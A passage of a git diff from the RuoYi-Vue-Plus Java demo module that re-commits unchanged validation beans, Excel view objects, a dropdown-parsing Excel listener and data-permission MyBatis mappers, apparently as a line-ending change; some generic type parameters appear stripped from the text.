主键 + */ + @NotNull(message = "主键不能为空", groups = {EditGroup.class}) + private Long id; + + /** + * 部门id + */ + @NotNull(message = "部门id不能为空", groups = {AddGroup.class, EditGroup.class}) + private Long deptId; + + /** + * 用户id + */ + @NotNull(message = "用户id不能为空", groups = {AddGroup.class, EditGroup.class}) + private Long userId; + + /** + * 排序号 + */ + @NotNull(message = "排序号不能为空", groups = {AddGroup.class, EditGroup.class}) + private Integer orderNum; + + /** + * key键 + */ + @NotBlank(message = "key键不能为空", groups = {AddGroup.class, EditGroup.class}) + private String testKey; + + /** + * 值 + */ + @NotBlank(message = "值不能为空", groups = {AddGroup.class, EditGroup.class}) + private String value; + +} diff --git a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/domain/bo/TestDemoImportVo.java b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/domain/bo/TestDemoImportVo.java index 1dab57c..f3d117d 100644 --- a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/domain/bo/TestDemoImportVo.java +++ b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/domain/bo/TestDemoImportVo.java @@ -1,52 +1,52 @@ -package org.dromara.demo.domain.bo; - -import com.alibaba.excel.annotation.ExcelProperty; -import jakarta.validation.constraints.NotBlank; -import jakarta.validation.constraints.NotNull; -import lombok.Data; - -/** - * 测试单表业务对象 test_demo - * - * @author Lion Li - * @date 2021-07-26 - */ -@Data -public class TestDemoImportVo { - - /** - * 部门id - */ - @NotNull(message = "部门id不能为空") - @ExcelProperty(value = "部门id") - private Long deptId; - - /** - * 用户id - */ - @NotNull(message = "用户id不能为空") - @ExcelProperty(value = "用户id") - private Long userId; - - /** - * 排序号 - */ - @NotNull(message = "排序号不能为空") - @ExcelProperty(value = "排序号") - private Long orderNum; - - /** - * key键 - */ - @NotBlank(message = "key键不能为空") - @ExcelProperty(value = "key键") - private String testKey; - - /** - * 值 - */ - @NotBlank(message = "值不能为空") - @ExcelProperty(value = "值") - private String value; - -} +package org.dromara.demo.domain.bo; + +import com.alibaba.excel.annotation.ExcelProperty; +import jakarta.validation.constraints.NotBlank; +import jakarta.validation.constraints.NotNull; +import lombok.Data; + +/** + * 测试单表业务对象 test_demo + * + * @author Lion Li + * @date 2021-07-26 + */ +@Data +public class TestDemoImportVo { + + /** + * 部门id + */ + @NotNull(message = "部门id不能为空") + @ExcelProperty(value = "部门id") + private Long deptId; + + /** + * 用户id + */ + @NotNull(message = "用户id不能为空") + @ExcelProperty(value = "用户id") + private Long userId; + + /** + * 排序号 + */ + @NotNull(message = "排序号不能为空") + @ExcelProperty(value = "排序号") + private Long orderNum; + + /** + * key键 + */ + @NotBlank(message = "key键不能为空") + @ExcelProperty(value = "key键") + private String testKey; + + /** + * 值 + */ + @NotBlank(message = "值不能为空") + @ExcelProperty(value = "值") + private String value; + +} diff --git a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/domain/bo/TestTreeBo.java b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/domain/bo/TestTreeBo.java index a0a765a..07d1387 100644 --- a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/domain/bo/TestTreeBo.java +++ b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/domain/bo/TestTreeBo.java @@ -1,54 +1,54 @@ -package org.dromara.demo.domain.bo; - -import io.github.linpeilie.annotations.AutoMapper; -import jakarta.validation.constraints.NotBlank; -import jakarta.validation.constraints.NotNull; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.mybatis.core.domain.BaseEntity; -import org.dromara.demo.domain.TestTree; - -/** - * 测试树表业务对象 test_tree - * - * @author Lion Li - * @date 2021-07-26 - */ - -@Data -@EqualsAndHashCode(callSuper = true) -@AutoMapper(target = TestTree.class, reverseConvertGenerate = false) -public class TestTreeBo extends BaseEntity { - - /** - * 主键 - */ - @NotNull(message = "主键不能为空", groups = {EditGroup.class}) - private Long id; - - /** - * 父ID - */ - private Long parentId; - - /** - * 部门id - */ - @NotNull(message = "部门id不能为空", groups = {AddGroup.class, EditGroup.class}) - private Long deptId; - - /** - * 用户id - */ - @NotNull(message = "用户id不能为空", groups = {AddGroup.class, EditGroup.class}) - private Long userId; - - /** - * 树节点名 - */ - @NotBlank(message = "树节点名不能为空", groups = {AddGroup.class, EditGroup.class}) - private String treeName; - -} +package org.dromara.demo.domain.bo; + +import io.github.linpeilie.annotations.AutoMapper; +import jakarta.validation.constraints.NotBlank; +import jakarta.validation.constraints.NotNull; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.mybatis.core.domain.BaseEntity; +import org.dromara.demo.domain.TestTree; + +/** + * 测试树表业务对象 test_tree + * + * @author Lion Li + * @date 2021-07-26 + */ + +@Data +@EqualsAndHashCode(callSuper = true) +@AutoMapper(target = TestTree.class, reverseConvertGenerate = false) +public class TestTreeBo extends BaseEntity { + + /** + * 主键 + */ + @NotNull(message = "主键不能为空", groups = {EditGroup.class}) + private Long id; + + /** + * 父ID + */ + private Long parentId; + + /** + * 部门id + */ + @NotNull(message = "部门id不能为空", groups = {AddGroup.class, EditGroup.class}) + private Long deptId; + + /** + * 用户id + */ + @NotNull(message = "用户id不能为空", groups = {AddGroup.class, EditGroup.class}) + private Long userId; + + /** + * 树节点名 + */ + @NotBlank(message = "树节点名不能为空", groups = {AddGroup.class, EditGroup.class}) + private String treeName; + +} diff --git a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/domain/package-info.java b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/domain/package-info.java index cb7d83f..597f24b 100644 --- a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/domain/package-info.java +++ b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/domain/package-info.java @@ -1 +1 @@ -package org.dromara.demo.domain; +package org.dromara.demo.domain; diff --git a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/domain/vo/ExportDemoVo.java b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/domain/vo/ExportDemoVo.java index ef9058e..203b68d 100644 --- a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/domain/vo/ExportDemoVo.java +++ b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/domain/vo/ExportDemoVo.java @@ -1,122 +1,122 @@ -package org.dromara.demo.domain.vo; - -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import com.alibaba.excel.annotation.ExcelProperty; -import jakarta.validation.constraints.NotEmpty; -import jakarta.validation.constraints.NotNull; -import lombok.AllArgsConstructor; -import lombok.Data; -import lombok.NoArgsConstructor; -import org.dromara.common.core.enums.UserStatus; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.excel.annotation.ExcelDictFormat; -import org.dromara.common.excel.annotation.ExcelEnumFormat; -import org.dromara.common.excel.convert.ExcelDictConvert; -import org.dromara.common.excel.convert.ExcelEnumConvert; - -import java.io.Serial; -import java.io.Serializable; - -/** - * 带有下拉选的Excel导出 - * - * @author Emil.Zhang - */ -@Data -@ExcelIgnoreUnannotated -@AllArgsConstructor -@NoArgsConstructor -public class ExportDemoVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 用户昵称 - */ - @ExcelProperty(value = "用户名", index = 0) - @NotEmpty(message = "用户名不能为空", groups = AddGroup.class) - private String nickName; - - /** - * 用户类型 - *

- * 使用ExcelEnumFormat注解需要进行下拉选的部分 - */ - @ExcelProperty(value = "用户类型", index = 1, converter = ExcelEnumConvert.class) - @ExcelEnumFormat(enumClass = UserStatus.class, textField = "info") - @NotEmpty(message = "用户类型不能为空", groups = AddGroup.class) - private String userStatus; - - /** - * 性别 - *

- * 使用ExcelDictFormat注解需要进行下拉选的部分 - */ - @ExcelProperty(value = "性别", index = 2, converter = ExcelDictConvert.class) - @ExcelDictFormat(dictType = "sys_user_sex") - @NotEmpty(message = "性别不能为空", groups = AddGroup.class) - private String gender; - - /** - * 手机号 - */ - @ExcelProperty(value = "手机号", index = 3) - @NotEmpty(message = "手机号不能为空", groups = AddGroup.class) - private String phoneNumber; - - /** - * Email - */ - @ExcelProperty(value = "Email", index = 4) - @NotEmpty(message = "Email不能为空", groups = AddGroup.class) - private String email; - - /** - * 省 - *

- * 级联下拉,仅判断是否选了 - */ - @ExcelProperty(value = "省", index = 5) - @NotNull(message = "省不能为空", groups = AddGroup.class) - private String province; - - /** - * 数据库中的省ID - *

- * 处理完毕后再判断是否市正确的值 - */ - @NotNull(message = "请勿手动输入", groups = EditGroup.class) - private Integer provinceId; - - /** - * 市 - *

- * 级联下拉 - */ - @ExcelProperty(value = "市", index = 6) - @NotNull(message = "市不能为空", groups = AddGroup.class) - private String city; - - /** - * 数据库中的市ID - */ - @NotNull(message = "请勿手动输入", groups = EditGroup.class) - private Integer cityId; - - /** - * 县 - *

- * 级联下拉 - */ - @ExcelProperty(value = "县", index = 7) - @NotNull(message = "县不能为空", groups = AddGroup.class) - private String area; - - /** - * 数据库中的县ID - */ - @NotNull(message = "请勿手动输入", groups = EditGroup.class) - private Integer areaId; -} +package org.dromara.demo.domain.vo; + +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import com.alibaba.excel.annotation.ExcelProperty; +import jakarta.validation.constraints.NotEmpty; +import jakarta.validation.constraints.NotNull; +import lombok.AllArgsConstructor; +import lombok.Data; +import lombok.NoArgsConstructor; +import org.dromara.common.core.enums.UserStatus; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.excel.annotation.ExcelDictFormat; +import org.dromara.common.excel.annotation.ExcelEnumFormat; +import org.dromara.common.excel.convert.ExcelDictConvert; +import org.dromara.common.excel.convert.ExcelEnumConvert; + +import java.io.Serial; +import java.io.Serializable; + +/** + * 带有下拉选的Excel导出 + * + * @author Emil.Zhang + */ +@Data +@ExcelIgnoreUnannotated +@AllArgsConstructor +@NoArgsConstructor +public class ExportDemoVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 用户昵称 + */ + @ExcelProperty(value = "用户名", index = 0) + @NotEmpty(message = "用户名不能为空", groups = AddGroup.class) + private String nickName; + + /** + * 用户类型 + *

+ * 使用ExcelEnumFormat注解需要进行下拉选的部分 + */ + @ExcelProperty(value = "用户类型", index = 1, converter = ExcelEnumConvert.class) + @ExcelEnumFormat(enumClass = UserStatus.class, textField = "info") + @NotEmpty(message = "用户类型不能为空", groups = AddGroup.class) + private String userStatus; + + /** + * 性别 + *

+ * 使用ExcelDictFormat注解需要进行下拉选的部分 + */ + @ExcelProperty(value = "性别", index = 2, converter = ExcelDictConvert.class) + @ExcelDictFormat(dictType = "sys_user_sex") + @NotEmpty(message = "性别不能为空", groups = AddGroup.class) + private String gender; + + /** + * 手机号 + */ + @ExcelProperty(value = "手机号", index = 3) + @NotEmpty(message = "手机号不能为空", groups = AddGroup.class) + private String phoneNumber; + + /** + * Email + */ + @ExcelProperty(value = "Email", index = 4) + @NotEmpty(message = "Email不能为空", groups = AddGroup.class) + private String email; + + /** + * 省 + *

+ * 级联下拉,仅判断是否选了 + */ + @ExcelProperty(value = "省", index = 5) + @NotNull(message = "省不能为空", groups = AddGroup.class) + private String province; + + /** + * 数据库中的省ID + *

+ * 处理完毕后再判断是否市正确的值 + */ + @NotNull(message = "请勿手动输入", groups = EditGroup.class) + private Integer provinceId; + + /** + * 市 + *

+ * 级联下拉 + */ + @ExcelProperty(value = "市", index = 6) + @NotNull(message = "市不能为空", groups = AddGroup.class) + private String city; + + /** + * 数据库中的市ID + */ + @NotNull(message = "请勿手动输入", groups = EditGroup.class) + private Integer cityId; + + /** + * 县 + *

+ * 级联下拉 + */ + @ExcelProperty(value = "县", index = 7) + @NotNull(message = "县不能为空", groups = AddGroup.class) + private String area; + + /** + * 数据库中的县ID + */ + @NotNull(message = "请勿手动输入", groups = EditGroup.class) + private Integer areaId; +} diff --git a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/domain/vo/TestDemoVo.java b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/domain/vo/TestDemoVo.java index 269bae4..4790702 100644 --- a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/domain/vo/TestDemoVo.java +++ b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/domain/vo/TestDemoVo.java @@ -1,104 +1,104 @@ -package org.dromara.demo.domain.vo; - -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import com.alibaba.excel.annotation.ExcelProperty; -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; -import org.dromara.common.translation.annotation.Translation; -import org.dromara.common.translation.constant.TransConstant; -import org.dromara.demo.domain.TestDemo; - -import java.io.Serial; -import java.io.Serializable; -import java.util.Date; - - -/** - * 测试单表视图对象 test_demo - * - * @author Lion Li - * @date 2021-07-26 - */ -@Data -@ExcelIgnoreUnannotated -@AutoMapper(target = TestDemo.class) -public class TestDemoVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 主键 - */ - @ExcelProperty(value = "主键") - private Long id; - - /** - * 部门id - */ - @ExcelProperty(value = "部门id") - private Long deptId; - - /** - * 用户id - */ - @ExcelProperty(value = "用户id") - private Long userId; - - /** - * 排序号 - */ - @ExcelProperty(value = "排序号") - private Integer orderNum; - - /** - * key键 - */ - @ExcelProperty(value = "key键") - private String testKey; - - /** - * 值 - */ - @ExcelProperty(value = "值") - private String value; - - /** - * 创建时间 - */ - @ExcelProperty(value = "创建时间") - private Date createTime; - - /** - * 创建人 - */ - @ExcelProperty(value = "创建人") - private Long createBy; - - /** - * 创建人账号 - */ - @Translation(type = TransConstant.USER_ID_TO_NAME, mapper = "createBy") - @ExcelProperty(value = "创建人账号") - private String createByName; - - /** - * 更新时间 - */ - @ExcelProperty(value = "更新时间") - private Date updateTime; - - /** - * 更新人 - */ - @ExcelProperty(value = "更新人") - private Long updateBy; - - /** - * 更新人账号 - */ - @Translation(type = TransConstant.USER_ID_TO_NAME, mapper = "updateBy") - @ExcelProperty(value = "更新人账号") - private String updateByName; - -} +package org.dromara.demo.domain.vo; + +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import com.alibaba.excel.annotation.ExcelProperty; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import org.dromara.common.translation.annotation.Translation; +import org.dromara.common.translation.constant.TransConstant; +import org.dromara.demo.domain.TestDemo; + +import java.io.Serial; +import java.io.Serializable; +import java.util.Date; + + +/** + * 测试单表视图对象 test_demo + * + * @author Lion Li + * @date 2021-07-26 + */ +@Data +@ExcelIgnoreUnannotated +@AutoMapper(target = TestDemo.class) +public class TestDemoVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 主键 + */ + @ExcelProperty(value = "主键") + private Long id; + + /** + * 部门id + */ + @ExcelProperty(value = "部门id") + private Long deptId; + + /** + * 用户id + */ + @ExcelProperty(value = "用户id") + private Long userId; + + /** + * 排序号 + */ + @ExcelProperty(value = "排序号") + private Integer orderNum; + + /** + * key键 + */ + @ExcelProperty(value = "key键") + private String testKey; + + /** + * 值 + */ + @ExcelProperty(value = "值") + private String value; + + /** + * 创建时间 + */ + @ExcelProperty(value = "创建时间") + private Date createTime; + + /** + * 创建人 + */ + @ExcelProperty(value = "创建人") + private Long createBy; + + /** + * 创建人账号 + */ + @Translation(type = TransConstant.USER_ID_TO_NAME, mapper = "createBy") + @ExcelProperty(value = "创建人账号") + private String createByName; + + /** + * 更新时间 + */ + @ExcelProperty(value = "更新时间") + private Date updateTime; + + /** + * 更新人 + */ + @ExcelProperty(value = "更新人") + private Long updateBy; + + /** + * 更新人账号 + */ + @Translation(type = TransConstant.USER_ID_TO_NAME, mapper = "updateBy") + @ExcelProperty(value = "更新人账号") + private String updateByName; + +} diff --git a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/domain/vo/TestTreeVo.java b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/domain/vo/TestTreeVo.java index aac6033..8fcc2af 100644 --- a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/domain/vo/TestTreeVo.java +++ b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/domain/vo/TestTreeVo.java @@ -1,64 +1,64 @@ -package org.dromara.demo.domain.vo; - -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import com.alibaba.excel.annotation.ExcelProperty; -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; -import org.dromara.demo.domain.TestTree; - -import java.io.Serial; -import java.io.Serializable; -import java.util.Date; - - -/** - * 测试树表视图对象 test_tree - * - * @author Lion Li - * @date 2021-07-26 - */ -@Data -@ExcelIgnoreUnannotated -@AutoMapper(target = TestTree.class) -public class TestTreeVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 主键 - */ - private Long id; - - /** - * 父id - */ - @ExcelProperty(value = "父id") - private Long parentId; - - /** - * 部门id - */ - @ExcelProperty(value = "部门id") - private Long deptId; - - /** - * 用户id - */ - @ExcelProperty(value = "用户id") - private Long userId; - - /** - * 树节点名 - */ - @ExcelProperty(value = "树节点名") - private String treeName; - - /** - * 创建时间 - */ - @ExcelProperty(value = "创建时间") - private Date createTime; - - -} +package org.dromara.demo.domain.vo; + +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import com.alibaba.excel.annotation.ExcelProperty; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import org.dromara.demo.domain.TestTree; + +import java.io.Serial; +import java.io.Serializable; +import java.util.Date; + + +/** + * 测试树表视图对象 test_tree + * + * @author Lion Li + * @date 2021-07-26 + */ +@Data +@ExcelIgnoreUnannotated +@AutoMapper(target = TestTree.class) +public class TestTreeVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 主键 + */ + private Long id; + + /** + * 父id + */ + @ExcelProperty(value = "父id") + private Long parentId; + + /** + * 部门id + */ + @ExcelProperty(value = "部门id") + private Long deptId; + + /** + * 用户id + */ + @ExcelProperty(value = "用户id") + private Long userId; + + /** + * 树节点名 + */ + @ExcelProperty(value = "树节点名") + private String treeName; + + /** + * 创建时间 + */ + @ExcelProperty(value = "创建时间") + private Date createTime; + + +} diff --git a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/listener/ExportDemoListener.java b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/listener/ExportDemoListener.java index 7bd4e1e..37782f5 100644 --- a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/listener/ExportDemoListener.java +++ b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/listener/ExportDemoListener.java @@ -1,68 +1,68 @@ -package org.dromara.demo.listener; - -import cn.hutool.core.util.NumberUtil; -import com.alibaba.excel.context.AnalysisContext; -import org.dromara.common.core.utils.ValidatorUtils; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.excel.core.DefaultExcelListener; -import org.dromara.common.excel.core.DropDownOptions; -import org.dromara.demo.domain.vo.ExportDemoVo; - -import java.util.List; - -/** - * Excel带下拉框的解析处理器 - * - * @author Emil.Zhang - */ -public class ExportDemoListener extends DefaultExcelListener { - - public ExportDemoListener() { - // 显示使用构造函数,否则将导致空指针 - super(true); - } - - @Override - public void invoke(ExportDemoVo data, AnalysisContext context) { - // 先校验必填 - ValidatorUtils.validate(data, AddGroup.class); - - // 处理级联下拉的部分 - String province = data.getProvince(); - String city = data.getCity(); - String area = data.getArea(); - // 本行用户选择的省 - List thisRowSelectedProvinceOption = DropDownOptions.analyzeOptionValue(province); - if (thisRowSelectedProvinceOption.size() == 2) { - String provinceIdStr = thisRowSelectedProvinceOption.get(1); - if (NumberUtil.isNumber(provinceIdStr)) { - // 严格要求数据的话可以在这里做与数据库相关的判断 - // 例如判断省信息是否在数据库中存在等,建议结合RedisCache做缓存10s,减少数据库调用 - data.setProvinceId(Integer.parseInt(provinceIdStr)); - } - } - // 本行用户选择的市 - List thisRowSelectedCityOption = DropDownOptions.analyzeOptionValue(city); - if (thisRowSelectedCityOption.size() == 2) { - String cityIdStr = thisRowSelectedCityOption.get(1); - if (NumberUtil.isNumber(cityIdStr)) { - data.setCityId(Integer.parseInt(cityIdStr)); - } - } - // 本行用户选择的县 - List thisRowSelectedAreaOption = DropDownOptions.analyzeOptionValue(area); - if (thisRowSelectedAreaOption.size() == 2) { - String areaIdStr = thisRowSelectedAreaOption.get(1); - if (NumberUtil.isNumber(areaIdStr)) { - data.setAreaId(Integer.parseInt(areaIdStr)); - } - } - - // 处理完毕以后判断是否符合规则 - ValidatorUtils.validate(data, EditGroup.class); - - // 添加到处理结果中 - getExcelResult().getList().add(data); - } -} +package org.dromara.demo.listener; + +import cn.hutool.core.util.NumberUtil; +import com.alibaba.excel.context.AnalysisContext; +import org.dromara.common.core.utils.ValidatorUtils; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.excel.core.DefaultExcelListener; +import org.dromara.common.excel.core.DropDownOptions; +import org.dromara.demo.domain.vo.ExportDemoVo; + +import java.util.List; + +/** + * Excel带下拉框的解析处理器 + * + * @author Emil.Zhang + */ +public class ExportDemoListener extends DefaultExcelListener { + + public ExportDemoListener() { + // 显示使用构造函数,否则将导致空指针 + super(true); + } + + @Override + public void invoke(ExportDemoVo data, AnalysisContext context) { + // 先校验必填 + ValidatorUtils.validate(data, AddGroup.class); + + // 处理级联下拉的部分 + String province = data.getProvince(); + String city = data.getCity(); + String area = data.getArea(); + // 本行用户选择的省 + List thisRowSelectedProvinceOption = DropDownOptions.analyzeOptionValue(province); + if (thisRowSelectedProvinceOption.size() == 2) { + String provinceIdStr = thisRowSelectedProvinceOption.get(1); + if (NumberUtil.isNumber(provinceIdStr)) { + // 严格要求数据的话可以在这里做与数据库相关的判断 + // 例如判断省信息是否在数据库中存在等,建议结合RedisCache做缓存10s,减少数据库调用 + data.setProvinceId(Integer.parseInt(provinceIdStr)); + } + } + // 本行用户选择的市 + List thisRowSelectedCityOption = DropDownOptions.analyzeOptionValue(city); + if (thisRowSelectedCityOption.size() == 2) { + String cityIdStr = thisRowSelectedCityOption.get(1); + if (NumberUtil.isNumber(cityIdStr)) { + data.setCityId(Integer.parseInt(cityIdStr)); + } + } + // 本行用户选择的县 + List thisRowSelectedAreaOption = DropDownOptions.analyzeOptionValue(area); + if (thisRowSelectedAreaOption.size() == 2) { + String areaIdStr = thisRowSelectedAreaOption.get(1); + if (NumberUtil.isNumber(areaIdStr)) { + data.setAreaId(Integer.parseInt(areaIdStr)); + } + } + + // 处理完毕以后判断是否符合规则 + ValidatorUtils.validate(data, EditGroup.class); + + // 添加到处理结果中 + getExcelResult().getList().add(data); + } +} diff --git a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/mapper/TestDemoEncryptMapper.java b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/mapper/TestDemoEncryptMapper.java index 601f97a..49abcf7 100644 --- a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/mapper/TestDemoEncryptMapper.java +++ b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/mapper/TestDemoEncryptMapper.java @@ -1,13 +1,13 @@ -package org.dromara.demo.mapper; - -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; -import org.dromara.demo.domain.TestDemoEncrypt; - -/** - * 测试加密功能 - * - * @author Lion Li - */ -public interface TestDemoEncryptMapper extends BaseMapperPlus { - -} +package org.dromara.demo.mapper; + +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; +import org.dromara.demo.domain.TestDemoEncrypt; + +/** + * 测试加密功能 + * + * @author Lion Li + */ +public interface TestDemoEncryptMapper extends BaseMapperPlus { + +} diff --git a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/mapper/TestDemoMapper.java b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/mapper/TestDemoMapper.java index 19b2d52..297760d 100644 --- a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/mapper/TestDemoMapper.java +++ b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/mapper/TestDemoMapper.java @@ -1,64 +1,64 @@ -package org.dromara.demo.mapper; - -import com.baomidou.mybatisplus.core.conditions.Wrapper; -import com.baomidou.mybatisplus.core.metadata.IPage; -import com.baomidou.mybatisplus.core.toolkit.Constants; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import org.apache.ibatis.annotations.Param; -import org.dromara.common.mybatis.annotation.DataColumn; -import org.dromara.common.mybatis.annotation.DataPermission; -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; -import org.dromara.demo.domain.TestDemo; -import org.dromara.demo.domain.vo.TestDemoVo; - -import java.io.Serializable; -import java.util.Collection; -import java.util.List; - -/** - * 测试单表Mapper接口 - * - * @author Lion Li - * @date 2021-07-26 - */ -public interface TestDemoMapper extends BaseMapperPlus { - - @DataPermission({ - @DataColumn(key = "deptName", value = "dept_id"), - @DataColumn(key = "userName", value = "user_id") - }) - Page customPageList(@Param("page") Page page, @Param("ew") Wrapper wrapper); - - @Override - @DataPermission({ - @DataColumn(key = "deptName", value = "dept_id"), - @DataColumn(key = "userName", value = "user_id") - }) - default

> P selectVoPage(IPage page, Wrapper wrapper) { - return selectVoPage(page, wrapper, this.currentVoClass()); - } - - @Override - @DataPermission({ - @DataColumn(key = "deptName", value = "dept_id"), - @DataColumn(key = "userName", value = "user_id") - }) - default List selectVoList(Wrapper wrapper) { - return selectVoList(wrapper, this.currentVoClass()); - } - - @Override - @DataPermission(value = { - @DataColumn(key = "deptName", value = "dept_id"), - @DataColumn(key = "userName", value = "user_id") - }, joinStr = "AND") - List selectByIds(@Param(Constants.COLL) Collection idList); - - @Override - @DataPermission({ - @DataColumn(key = "deptName", value = "dept_id"), - @DataColumn(key = "userName", value = "user_id") - }) - int updateById(@Param(Constants.ENTITY) TestDemo entity); - -} +package org.dromara.demo.mapper; + +import com.baomidou.mybatisplus.core.conditions.Wrapper; +import com.baomidou.mybatisplus.core.metadata.IPage; +import com.baomidou.mybatisplus.core.toolkit.Constants; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import org.apache.ibatis.annotations.Param; +import org.dromara.common.mybatis.annotation.DataColumn; +import org.dromara.common.mybatis.annotation.DataPermission; +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; +import org.dromara.demo.domain.TestDemo; +import org.dromara.demo.domain.vo.TestDemoVo; + +import java.io.Serializable; +import java.util.Collection; +import java.util.List; + +/** + * 测试单表Mapper接口 + * + * @author Lion Li + * @date 2021-07-26 + */ +public interface TestDemoMapper extends BaseMapperPlus { + + @DataPermission({ + @DataColumn(key = "deptName", value = "dept_id"), + @DataColumn(key = "userName", value = "user_id") + }) + Page customPageList(@Param("page") Page page, @Param("ew") Wrapper wrapper); + + @Override + @DataPermission({ + @DataColumn(key = "deptName", value = "dept_id"), + @DataColumn(key = "userName", value = "user_id") + }) + default

> P selectVoPage(IPage page, Wrapper wrapper) { + return selectVoPage(page, wrapper, this.currentVoClass()); + } + + @Override + @DataPermission({ + @DataColumn(key = "deptName", value = "dept_id"), + @DataColumn(key = "userName", value = "user_id") + }) + default List selectVoList(Wrapper wrapper) { + return selectVoList(wrapper, this.currentVoClass()); + } + + @Override + @DataPermission(value = { + @DataColumn(key = "deptName", value = "dept_id"), + @DataColumn(key = "userName", value = "user_id") + }, joinStr = "AND") + List selectByIds(@Param(Constants.COLL) Collection idList); + + @Override + @DataPermission({ + @DataColumn(key = "deptName", value = "dept_id"), + @DataColumn(key = "userName", value = "user_id") + }) + int updateById(@Param(Constants.ENTITY) TestDemo entity); + +} diff --git a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/mapper/TestTreeMapper.java b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/mapper/TestTreeMapper.java index e5f4c44..d19ba50 100644 --- a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/mapper/TestTreeMapper.java +++ b/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/mapper/TestTreeMapper.java @@ -1,21 +1,21 @@ -package org.dromara.demo.mapper; - -import org.dromara.common.mybatis.annotation.DataColumn; -import org.dromara.common.mybatis.annotation.DataPermission; -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; -import org.dromara.demo.domain.TestTree; -import org.dromara.demo.domain.vo.TestTreeVo; - -/** - * 测试树表Mapper接口 - * - * @author Lion Li - * @date 2021-07-26 - */ -@DataPermission({ - @DataColumn(key = "deptName", value = "dept_id"), - @DataColumn(key = "userName", value = "user_id") -}) -public interface TestTreeMapper extends BaseMapperPlus { - -} +package org.dromara.demo.mapper; + +import org.dromara.common.mybatis.annotation.DataColumn; +import org.dromara.common.mybatis.annotation.DataPermission; +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; +import org.dromara.demo.domain.TestTree; +import org.dromara.demo.domain.vo.TestTreeVo; + +/** + * 测试树表Mapper接口 + * + * @author Lion Li + * @date 2021-07-26 + */ +@DataPermission({ + @DataColumn(key = "deptName", value = "dept_id"), + @DataColumn(key = "userName", value = "user_id") +}) +public interface TestTreeMapper extends BaseMapperPlus { + +} diff --git a/ruoyi-modules/ruoyi-demo/src/main/java/org/dromara/demo/mapper/package-info.java 